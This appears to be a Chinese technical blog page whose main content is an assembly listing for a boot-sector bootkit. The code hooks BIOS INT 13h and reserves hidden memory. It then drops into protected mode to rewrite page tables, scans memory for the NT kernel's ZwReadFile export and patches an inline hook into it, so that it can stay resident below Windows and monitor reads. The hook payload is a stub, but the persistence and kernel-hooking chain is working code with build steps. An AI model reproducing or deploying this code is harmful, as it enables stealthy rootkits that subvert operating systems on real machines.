程序从DOS/bios驻留内存到WINNT下监视读入内存数据

【汇编】TSR内存驻留程序实现与删除及热键设置——以实现时钟为例 【汇编】TSR内存驻留程序实现与删除及热键设置——以实现时钟为例 最近完成了一个关于时钟中断驻留的汇编大作业,对于TSR很是感兴趣,查阅了不少资料,发现现在很少相关的内容资料。尤其是TSR删除这一块几乎找不到在低的水平完全正确的做法,下面我对于TSR的删除我会介绍一种几乎小程序可以完成的方法。当然,标题中的TSR实现,热键设置我也会一一介绍。 阅读详情
作者:成松林
QQ:179641795
Email:cheng_5103@126.com
注意:欢迎大家转载,请大家转载注明原出处和作者信息.发篇文章不容易..大家请保留作者信息.



.586p                            ;########################################################################
.model tiny                      ;#############目的:让程序永久驻留内存,监控读入内存数据.##################
;********************************;#步骤:一层层HOOK,进入保护模式,打开页模式...........******************##
Code_Sise equ 200h               ;#1、BIOS层:向量法HOOK->INT19H(在它内部HOOK)->INT13H,截取读到内存的数据##
RealCode segment byte use16      ;#   参看BIOS嵌入开发教程.DOS层可延用HOOK INT13H服务.截取读到内存的数据##
CodeStart:                       ;#2、INT13H服务:如果是SCSI硬盘,加载SCSI驱动,HOOK->SCSI读服务(分析加载的##
  cli                            ;#   SCSI驱动服务文件,PE导出HOOK法(教程),这样程序继续监控读入内存的数据##
  xor bx,bx                      ;#3、WindowsNT层:NTLDR加载到内存,若不是SCSI硬盘,NTLDR读操作还是用INT13H##
  mov ss,bx                      ;#   NTLDR完成参数配置及保护模式切换等后将控制权交给NTOSKRNL(WINNT内核)##
  mov sp,7c00h                   ;#4、HOOK NTLDR加载的NTOSKRNL(模块),可用方法:Inline HOOK法(注意:HOOK点)##
  mov ds,bx                      ;#5、HOOK NTOSKRNL服务:ZwReadFile API导出函数,可用HOOK PE加Inline HOOK.##
  mov ax,ds:[413h]               ;#40:13,BIOS数据区保存内存大小,单位:KBs,#################################
  and al,NOT 3                   ;#防止代码在分页的边界处,以便保证代码在保护模式分页后可以继续运行########
  sub ax,4                       ;#分配4KB给我们代码用.(也就是刚刚一页的代码,防止分页边界及夸页等问题)####
  mov ds:[413h],ax               ;########################################################################
  shl ax,(10-4)                  ;ax *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)
  mov es,ax                      ;分配的保留内存;es:0 -> 分配的保留内存地址

  mov ax,0201h
  mov bx,200h
  mov cx,2
  mov dx,0
  int 13h

  cld                            ;
  mov si,7c00h
  xor di,di                      ;代码被拷贝到es:di处(分配的保留内存里).注意:拷贝后偏移值改变,计算方法.
  mov cx,Code_Sise
  rep movsb                      ;拷贝代码到保留内存
  mov eax,ds:[13h*4]             ;安装我们的INT13h代码
  mov es:[INT13H - CodeStart],eax;保存旧的int13向量值
  mov word ptr ds:[13h*4],INT13Hook
  mov ds:[(13h*4) + 2],es        ;设置我们的INT13h向量
  sti
  push es
  push BootOS
  retf
;**************
BootOS:
  xor ax,ax
  mov es,ax
  mov bx,7c00h
  mov ax,0201h
  mov cx,1
  mov dx,80h
  int 13h
  db  0eah
  dd  7c00h                       ;jmp far 0:7c00h ;引导系统
;#############################################################################################################
;#####NT加载模块:1、不是SCSI硬盘,如果在保护模式就切换到实模式.调用BIOS INT13H读数据,修改读的数据做HOOK等######
;#####           2、是SCSI硬盘:可以先在INT13H服务HOOK SCSI驱动的加载,同样在该服务里.修改读的数据做HOOK等######
;#####           3、注意:没在保护模式我们可切换过去.获取CR3修改页映射.和修改GDT表等.在保护模式就更简单了######
;#############################################################################################################
;********************我们的BIOS/DOS下HOOK INT13H服务**********************************************************
INT13Hook:                    ;######这个硬盘操作服务是我们在实模式驻留运行服务的关键######
   pushf                      ;有指令要改变标志寄存器
   test ah, 0bdh              ;是不是读数据到内存,ah=02,ah=42h
   jz Int13Hook_ReadRequest
   popf
   db 0eah
   INT13H dd ?                ;跳转到旧的INT13H服务,注意:这种保存数据的方法  
Int13Hook_ReadRequest:
   popf
   pushf
   call dword ptr cs:[INT13H] ;调用旧INT13H服务的读
   jc Int13Hook_ret           ;CF=1,读失败退出服务
      cli                     ;关闭中断
      pushfd
      push fs
      pushad                   ;保护现场
      call MakeFS4GBSegment    ;返回FS段可写4GB内存.ebx = cr3的值.
      ;#############把代码映射成线性地址80000000h+cs*4地址,避免NT不映射我们代码在保留内存情况############
      mov eax,FS:[ebx+800h]    ;eax=线性地址最高10位400h*4=800h,确定在cr3指向的页目录表的位置.
      and eax,0fffff000h       ;去掉获取的二级页表属性位.eax=80000000h线性地址二级页表物理地址.
      .if eax != 0             ;二级页表物理地址不能为零
          xor ecx,ecx
          mov cx,cs                 ;我们直接映射成对应的物理地址          
          mov edx,ecx               ;故二级页表位置用cs值确定..
          shl edx,4                 ;edx=我们代码段在内存的物理地址.
          or  edx,163h              ;设置页属性为:存在的且用户及系统可读/写
          shr ecx,8                 ;cl=在二级页表的位置
          shl ecx,2                 ;一个页项在页目录表或者在页表占4个字节.ecx=在二级页表位置
          mov FS:[eax+ecx],edx      ;修改我们代码在物理内存的映射
          mov dword ptr FS:[eax],103h;修改物理页0(也就是BIOS/DOS区映射到80000000h)
      .endif                         ;注意:WINNT不会使用BIOS/DOS使用的页,即物理页0)
      ;###################################################################################################
      call MemScansAPIAddr
      .if  edi                 ;###在内存搜索到我们要找的API函数地址,eax->ZwReadFile##
           mov esi,MyZwReadFileARG - Code32Start + Code16Size
           .if dword ptr cs:[esi] == 0   ;第一次HOOK时.获取被HOOK的指令.
               mov ebx,fs:[eax+1]        ;##不同版NT:ZwReadFile函数指令不同,Inline HOOK弱点.##
               mov cs:[esi],ebx          ;分析发现ZwReadFile开头都是mov eax,(不确定)
               xor edx,edx
               mov edx,cs                    ;MyZwReadFile在内存的物理地址
               shl edx,4                     ;edx->我们代码段基址(cs*10H)
               add edx,Code16Size            ;(edx->VirtualCode->MyZwReadFile) < (eax->ZwReadFile)
               mov ecx,Code32End - Code32Start ;ecx=代码长度
               mov ebx,600h                    ;ebx->拷贝到的物理地址
               .while ecx                      ;edx->拷贝前的物理地址
                      mov al,FS:[edx]
                      mov FS:[ebx],al
                      inc edx
                      inc ebx
                      dec ecx
               .endw
            .endif
           mov ebx,600h              ;将VirtualCode代码拷到物理地址600h,这段内存(物理页0)WINTNT不会用.
           mov byte ptr fs:[eax],0E8h;##采用Inline HOOK:命令E8h/xx/xx/xx/xx: CALL Rel(Rel=相对地址)##
           add eax,5                     ;#####修正32位相对偏移指令CALL Rel所占的五字节########
           sub ebx,eax                   ;#####计算相对偏移字节数(相对转移分正负方向.这里负)###
           mov fs:[eax-4],ebx            ;####填写计算好的地址到被HOOK地点####
      .endif
Int13Hook_scan_done:                            
   popad
   pop fs
   popfd
   sti
Int13Hook_ret:
   retf 2
;**************************************************************************************************************
MakeFS4GBSegment proc                        ;#####设置FS段让dos可以用FS段访问4GB内存####
  mov esi,800h                               ;#####同时返回ebx=cr3让DOS可以更改页映射####
  sub eax,eax
  mov cs:[si],eax                            ;MyGdt开始ds:[si]
  mov cs:[si+4],eax                          ;空描述符
  mov ax,cs
  shl eax,4                                  ;代码段物理地址  
  rol eax,8                                  ;设置代码段描述符
  mov cs:[si+8+7],al                         ;代码段基址高8位
  mov al,9ah                                 ;存在的可执行可读代码段
  ror eax,8                                  ;低24位是代码段基址
  mov cs:[si+8+2],eax
  mov word  ptr cs:[si+8],0ffffh             ;设置段界限低16位
  mov byte  ptr cs:[si+8+6],0                ;段界限16~19位含段属性高4位
  mov dword ptr cs:[si+8+8],0ffffh           ;设置数据段描述符
  mov dword ptr cs:[si+8+8+4],0cf9200h       ;数据段属性及基址
  mov dword ptr cs:[si+8+8+8],0
  mov dword ptr cs:[si+8+8+8+4],0            ;空描述符MyGdt结束cs:[4*8]
  xor eax,eax
  mov ax,cs
  mov cs:[Code_Base - CodeStart],cs          ;###注意:变量所在内存位置###
  shl eax,4
  add eax,esi                                ;eax->MyGdt
  mov cs:[si+8+8+8+8+2],eax                  ;设置GDT开始物理地址到GDTR
  mov word ptr cs:[si+8+8+8+8],31            ;设置GDTR界限
  lgdt fword ptr cs:[si+8+8+8+8]             ;设置新的GDTR(cs:[si+8+8+8+8])注意:以下几条指令执行要关中断
  in   al,92h
  or   al,2
  out  92h,al                                ;打开A20地址线
  mov  eax,cr0
  or   al,1
  mov  cr0,eax                               ;进入保护模式        
  DB   0eah                                  ;jmp 08:PM_Service
  DW   PM_Service                            ;跳转到保护模式代码执行      
  DW   8                                     ;8代码段选择子  
PM_Service:
  mov ax,16                                  ;16数据段选择子(就是在MyGdt里的偏移)
  mov fs,ax                                  ;***###fs->保护模式数据段###***
  mov ebx,cr3                                ;***###ebx=cr3注意:只能在保护模式获取###***
  mov eax,cr0
  and al,0feh
  mov cr0,eax                                ;返回实模式  
  db  0eah                                   ;jmp SEG Real_Service:offset Real_Service
  dw  Real_Service - CodeStart               ;###注意:变量所在内存位置###
  Code_Base dw  0
Real_Service:                                ;关闭A20地址线in al,92h|and al,0fdh|out  92h,al              
  ret
MakeFS4GBSegment endp
;*****************************************************************************************************
org 1feh
dw 0aa55h                                   ;第一个扇区结束
;*****************************************************************************************************
;**************暴力内存搜索PE镜像->API(ZwReadFile)地址,注意:入口edi线性地址在保护模式下等情况!********
MemScansAPIAddr proc ;入口:edi->内存开始  ecx=内存结束值注意:没保护现场  
                     ;出口:edi->Image Base,ebx->PE HOOK点,eax=旧函数地址 edi=0,没找到
   mov     edi,400000h    ;#####分析发现各版NT Kernel base在400000h ~ 900000h内版本越高越后######
   .while  edi < 900000h       ;#@!*##内存结束地址注意:未分页情况下不能超过内存总大小.#*%##
           mov  eax,edi          ;##为了缩短搜索时间注意:设置搜索范围##
           add  eax,fs:[eax+3ch] ;eax->PE头
           .if   word ptr fs:[edi] != 5a4dh || dword ptr fs:[eax] != 00004550h || dword ptr fs:[eax+78h] == 0
                 add edi,1000h      ;edi->下一个模块(模块以页为单位加载)
                 .continue          ;NOT(PE镜像有导出函数表)
           .endif
                ;#####找到一个镜像且有导出函数表:edi->Image Base,eax->PE头#####
                mov    ebx,fs:[eax+78h]                        
                add    ebx,EDI                      ;ebx->IMAGE_EXPORT_DIRECTORY
                mov    ecx,fs:[ebx+18h]             ;edx=以名称导出的函数总数
                mov    eax,fs:[ebx+20h]             ;eax->导出函数名地址表的RVA  
                add    eax,EDI                      ;eax->导出函数名地址表
                mov    ebx,fs:[ebx+1ch]             ;ebx->导出函数地址表的RVA
                add    ebx,EDI                      ;ebx->导出函数地址表
                and    ecx,0ffffh                   ;#####发现WINXP/2003循环成死循环.######
                .while  ecx > 0
                       mov esi,fs:[eax]                     ;esi->输出表中的当前函数名字RVA
                       and esi,0ffffffh                     ;######发现在WIN2003上出错######
                       add esi,EDI                          ;esi->输出表中的当前函数名字
                       ;这样子适合API名字较短情况.适当改下代码可在32位代码用和变成通用函数.
                       .if  dword ptr fs:[esi]==6552775ah && dword ptr fs:[esi+4]==69466461h && word ptr fs:[esi+8]==656ch
                            mov    eax,fs:[ebx]
                            add    eax,EDI
                            ret
                       .endif
                       dec ecx
                       add eax,4                            ;每个函数名地址占4个字节
                       add ebx,4                            ;每个函数地址指针占4个字节
                .endw
          add  edi,1000h                  ;#####edi->下一个页.PE模块(镜像)总是以页为基址(边界)读入内存的#####
   .endw    
   xor edi,edi                            ;没找到退出!
   ret
MemScansAPIAddr endp
Code16End:
RealCode ends
Code16Size equ Code16End - CodeStart             ;Code16Size -> VirtualCode(相对偏移),便于后面计算地址用
;***#####################################以上代码工作在,实模式下.######################################***
;*********************************************************************************************************
VirtualCode segment byte use32    ;##########可工作在32位保护模式的代码#########
Code32Start:

;*********************我们的ZwReadFile函数,这里供实验没写什么!******************************
MyZwReadFile proc                     ;尽量内存寻址使用相对寻址指令(call,jmp..等指令).
   mov eax,0                          ;模拟实现Inline HOOK的特征码,不同版本这里不同
   MyZwReadFileARG equ $ - 4
   ret                                
MyZwReadFile endp
Code32End:
;*********************************************************************************************************
VirtualCode ends
end CodeStart
;编译ml aa.asm  ren aa.com aa.img.文件就可以用WMware调试了....  
DOS下读取内存SPD DOS下读取内存SPD信息,C语言与汇编代码混合 立即下载

相关推荐

用汇编编写DOS下的内存驻留程序.doc

用汇编编写DOS下的内存驻留程序.doc

内存驻留程序

学习DOS下内存驻留程序的基本思想,了解与熟悉用汇编语言编写程序。本课程设计将完成一个小的.com程序,运行程序后,你的所有按键输入(指在DOS或Windows的DOS模式下)将不被接受,所有输入将被替换成特定的字符串(回车键除外)。 二、内存驻留程序的基本框架(framework of a TSR)   内存驻留程序的基本思想就是让程序一直停留在内存中,不断的执行特定的命令。但内存驻留如何被执行

IT is Alex.Net 3792

第一篇:常见CAN错误帧及其排查方向

在本文中主要阐述各类错误帧的形成原因以及在使用同星硬件设备出现错误帧时,应当 如何进行排查并消除错误帧。在 CAN 总线通信中,通常遇见的错误帧主要为以下五种,其 分别是:bit error、ACK error、stuff error、CRC error 以及 form error。

u013089100的博客 1746

用汇编编写DOS下的内存驻留程序

绪言 0.1 内存驻留与中断 内存驻留程序英文叫Terminate and S 绪言 0.1 内存驻留与中断 内存驻留程序英文叫Terminate and Stay Resident Program,缩写为TSR.这些程序加载进内存,执行完后,就驻留在内存里,当

forpersonal 7238

ESP32-CAM与TFT屏幕实时图像传输:Arduino环境下的OV2640驱动实践

本文详细介绍了在Arduino环境下实现ESP32-CAM与TFT屏幕实时图像传输的完整实践方案。重点解析了OV2640摄像头的驱动配置、硬件引脚连接、TFT屏幕初始化及图像显示优化技巧,帮助开发者快速构建稳定的实时图像显示系统,适用于物联网监控、门禁系统等场景。

cuda7parallel的博客 115

Python 爬虫实战:在房天下抓取房产信息,分析房价走势

通过本次 Python 爬虫实战,我们成功地从房天下爬取了房产信息,并进行了存储、处理、分析和可视化展示。在这个过程中,我们不仅掌握了爬虫技术的基本应用,还学会了如何对动态加载的数据进行处理和分析。然而,本次爬虫任务也存在一些局限性,例如仅爬取了部分区域的房产数据,且未对房产的图片和视频内容进行分析。在未来的工作中,我们可以进一步优化爬虫程序,爬取更多区域的房产数据,并深入分析房产的多媒体内容、用户行为模式等,为购房者和房地产从业者提供更有价值的数据支持。

u014481728的博客 1370

DOS中使用扩展内存与XMS操作库设计

DOS中使用扩展内存与XMS操作库设计作者:彭学周(Favory.Peng)DOS系统常规内存指的是0-640K的内存区。在DOS下,一般的应用程序只能使用系统的常规内存,因而都要受到640KB内存的限制。而且由于DOS本身和config.sys文件中的安装的设备驱动程序和autoexec.bat文件中执行的内存驻留程序都要占用一些常规内存,所以应用程序能使用的常规内存是不到640K的

【拥抱变化 -- 知识改变命运】 5045

手把手教你学Simulink——整流器场景:基于PWM控制的单相全桥整流器设计

摘要:本文详细介绍了使用Simulink搭建基于PWM控制的单相全桥整流器的完整设计流程。主要内容包括:系统结构设计(含交流电源、全桥整流器、滤波电路等模块)、分步骤建模过程(从创建项目到添加各功能模块)、双闭环控制系统设计(电压外环和电流内环PI控制)、参数设置建议及仿真分析。通过仿真验证,该整流器可实现单位功率因数运行和稳定输出电压,并提供了数字锁相环等优化方向。文章为电力电子系统设计提供了实用的Simulink建模指导。(149字)

MHD0815的博客 325

实现网络唤醒开机程序

好久没发贴了..发个垃圾程序..最近给自己管理的服务器写的.. 作者:成松林 QQ:179641795 Email:cheng_5103@126.com ;goto make ;实现网络唤醒开机程序 .386 .model flat, stdcall option casemap :none   ; case sensitive  include d:\masm32\incl

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 855

走向审计4.0:内部审计数字化转型的路径与方法

企业的内部审计人员可以以数字化为手段,建立内部审计新生态,在数字化过程中引进战略审计、服务审计、开放审计、敏捷审计、数字审计、智慧审计等理念、方法和工具,完成数智生态审计转型。内部审计的审计对象远比国家审计和公众审计丰富和多元化,理论上企业经营管理和日常操作的各个方面都可以成为内部审计的对象,此外还可以开展独立咨询活动。由于内部审计的数字化或数字化的内部审计是实现审计数字化转型的必要条件,是实现“数字引领、数据强审”目标的核心手段,因此企业内部审计部门势必要投入足够的资金和人才来打造一支数字化审计新队伍。

一键难忘的博客 6737

Windows Server 2016远程桌面服务配置和授权激活

Server 2016默认远程桌面连接数是2个用户,如果多余两个用户进行远程桌面连接时,系统就会提示超过连接数,可以通过添加远程桌面授权解决:1、添加远程桌面授权服务第一步:服务器管理 - 添加角色和功能打开添加角色和功能向导窗口,选择基于角色或给予功能安装:第二步:添加远程桌面会话主机和远程桌面授权功能:以上配置完成后即可使用多于2用户同时登陆,但使用期限为120天,再次登陆会有如下提示:2、添...

mahailiang的专栏 6万+

释放为硬件保留的内存(16+16内存条原本只显示14G解决)

终极方法:接上去正常使用,用几天,过程中正常开关机,我是一天过后再查看属性,就好了,根本不用操心这个事。但是如果是识别不出来,即不显示最大安装了32G,那么可能是不兼容或者插槽损坏或者内存条损坏,这个需要进一步的调查了。最大内存,跳出最大值,据说不要选0否则会开不了机蓝屏。方法内存要升级Bios,释放为硬件保留的内存。性能 设置 高级 虚拟内存。

weixin_68990480的博客 2万+

【Flink】FLink session yarn kerberos认证报错 PortUnreachableException: ICMP Port Unreachable

本篇博客是在上一篇博客:【Flink】FLink session yarn kerberos认证报错 KrbException: Cannot locate default realm还没找到原因的时候做的一次尝试。因为项目需要,我们需要对接华为认证的yarn集群,运行flink任务,我们的任务分为两种,yarn pre-job模式和flink session模式。我们在配置文件中配置如下# kerberos认证需要的东西提交任务的脚本如下。

九师兄 1267

为硬件保留的内存怎么释放(亲测有效)

为硬件保留的内存怎么释放 今天兴冲冲的拿到了小新pro16 R5 + 1650版本。开箱后检测一切正常。可是进任务管理器看到可用内存只有13.9G,也就是有2.1G的内存是不可用的。再一看,右下角赫然写着为硬件保存的内存是2.1G。于是开始找解决方法。 1. 进系统设置将最大内存设为检测到的最大内存 步骤:win+R, 输入msconfig, 点击引导,高级选项,勾选最大内存,输入资源监视器中看到的已安装内存,然后确定,重启,再将最大内存的勾选去掉,再重启。 亲测:无效 2. 拔掉一根内存,仅使用一根内

Program_new_bird的博客 12万+

Google Gemini 模型本地可视化

Google近期发布了Gemini模型,而且开放了Gemini Pro API,Gemini Pro 可免费使用!Gemini Pro支持全球180个国家的38种语言,目前接受文本、图片作为输入并生成文本作为输出。Gemini Pro的表现超越了其他同类模型,当前版本配备了 32K 文本上下文窗口,可免费使用,且其定价将十分有竞争力。Gemini Pro具备丰富的功能:函数调用、数据嵌入、语义检索、自定义知识嵌入以及聊天功能。

HJ_blog 1249

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

保护模式

 什么是保护模式 自从1969年推出第一个微处理器以来,Intel处理器就在不断地更新换代,从8086、8088、80286,到80386、80486、奔腾、奔腾Ⅱ、奔腾4等,其体系结构也在不断变化。80386以后,提供了一些新的功能,弥补了8086的一些缺陷。这其中包括内存保护、多任务及使用640KB以上的内存等,并仍然保持和8086家族的兼容性。也就是说80386仍然具备了8086和80286

欲穷千里目,更上一层楼 1685

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

DOS 实方式下直接访问4GB 内存

十堰市湖北汽车工业学院电气工程系(442002)  陈家祺 摘 要: 分析了80486CPU 的寻址机制, 提出了在实方式下直接访问4GB 内存的策略和C 程序设计方法。 关键词: DO S 程序 扩展内存 程序设计 在高档PC 微机系统中, 如80486CPU 微机系统,应用软件的开发可以基于DO S 系统的实方式, 也可以基于W indow s 和O Sö2 系统的保护方式。

rongwenbin的专栏 2213

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

解决64位win7系统,加内存条为硬件保留内存,解决在末尾

路径为:按`Win + R`键,输入`msconfig`,然后在“启动”选项卡下的“高级选项”中确认这一设置。- 进入BIOS界面,检查和调整内存相关的设置,例如内存映射(Memory Remapping)功能。此外,可以查看系统保留内存的情况,确保其合理设置。前言,遇到这个问题,我去网上搜索,都是让关机加一个内存条,再换宁一个内存条,或者重新安装系统,尝试未解决。- 更新主板的BIOS或UEFI固件版本,有时固件升级能够解决内存问题或提高系统对硬件的兼容性。通过这些办法都未解决。

PerfectetWorld的博客 5951

用汇编编写DOS下的内存驻留程序(4)

转自:http://www.x86asm.com/DisplayArticle.asp?BoardID=5&amp;ArticleID=13   四 基本的驻留程序4.1 一个基本的COM程序 DOS之下有两种形式的可执行文件,这两种文件分别是COM文件和EXE文件.其中,COM文件可以迅速地加载和执行,但是其大小不能超过64K字节,只能有一个段,代码段.而且起始地址为100H指令必须为程序的...

注重长远 天天积累 cqujsjcyj 857

WIN32 Virus Run in Ring3

 F-13 Labs 15 June 2005       WIN32 Virus Run in Ring3             声明: 本文作者对因不当使用本资料可能导致的任何损失不负有责任。本文的目的仅仅是出于教学和研究。本文所提技术在病毒编写中可以使用,但不是鼓励任何对计算机系统的有意损害或破坏行为。作者: lclee_vx 译者:fqh1.0             前言 / 介绍 这

gzfqh的专栏 →底层代码研究 8236

设备管理程序驻留在BIOS中

设备管理程序是一种电脑硬件的控制程序,它驻留在BIOS(基本输入输出系统)中。 BIOS是电脑系统的基础软件,它负责启动电脑和管理硬件设备。设备管理程序通常可以让用户查看和配置硬件设备的设置,例如硬盘驱动器、显卡和网络接口卡等。 ...

weixin_35753291的博客 234

VESA编程示例

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Simulated Linear Frame Buffer; Christopher Giese <geezer@execpc.com>; http://www.execpc.com/~geezer/os/;; Updated

Hi, CT here! 3141

win10内存组双通道时,显示为硬件保留一个内存的内存量

趁着双12活动,给公司用的电脑,买了个内存条,公司配的电脑实在配置不怎么样,加个内存多少会改善些。 原来的内存是金士顿2133M的。自己买了一个金士顿2400M。 大概查阅过双通道的资料,插槽是四个的话,一般是A1 A2 B1 B2,应该在A和B中各装一个组双通道(个人不是很懂这些)。 按着这样装上后,发现开机以后,我的电脑属性中显示已经安装的内存16g,7g可用。 打开win10的资源管...

qq_39314099的博客 2万+
上一篇: 创建SvcHost.exe调用的服务原理与实践
下一篇: Windows 内核漏洞 ms08025 分析
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值